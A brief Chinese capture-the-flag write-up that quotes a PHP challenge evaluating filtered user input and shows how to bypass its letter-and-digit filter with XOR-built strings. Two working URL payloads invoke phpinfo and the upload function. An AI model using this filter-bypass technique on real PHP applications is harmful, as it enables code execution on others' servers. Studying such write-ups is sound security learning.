这个题目过滤的很严格,字母数字都不允许使用。
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
?这里可以用无数字字母的shell。
学习链接:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
在php中,两个字符串执行异或操作之后,得到的还是一个字符串,所以我们想得到字符数字只需要找到两个非字母、数字的字符,她们的抑或结果是这个字母就可以了。
另外在php中,经典的特性‘ Use of undefined constant’,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在。
payload:
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
第一个可以打开phpinfo。第二个可以执行代码中get_the_flag函数。
flag就在phpinfo里。
|